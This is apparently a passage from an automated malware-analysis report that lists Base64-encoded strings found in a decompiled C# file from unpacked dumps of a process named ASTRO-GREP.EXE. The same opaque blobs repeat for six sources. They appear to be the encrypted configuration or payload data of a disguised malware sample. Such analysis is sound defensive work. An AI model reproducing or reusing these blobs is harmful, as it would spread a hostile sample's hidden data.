Source: ASTRO-GREP.EXE.2.dr, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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
Source: astro-grep.exe.3.dr, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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
Source: 3.2.ASTRO-GREP.EXE.920000.0.unpack, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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
Source: 3.0.ASTRO-GREP.EXE.920000.0.unpack, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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
Source: 12.2.astro-grep.exe.190000.0.unpack, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: '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
Source: 12.0.astro-grep.exe.190000.0.unpack, zElUlVwqERLYn/eHcZPkAtyHA.cs	Base64 encoded string: 'QHy8sfXkGmhL4GfCIxO4J1WB7dWaURp1TcEzVJkn3+Ahjg1xP+UJRRGNLO2H1f8OBBUg1zZFbOawMqFIJs9TzA==', 'NGowqIIaRfZK9xE4MaYAMZJNSBiADXG98tScxjas+TYluA/Nyk7JqsIeKhWHRmXvZLhCzwhMhg58B1Wf4D6HcA==', 'R3oLaKXfDr6rAO99i7NEiwrOhtYr7FQkF66mH80NeUrbSGM+wSwyQY2Bz8neKR3fz49dNiaC8H/QRRz9YPVBEA==', 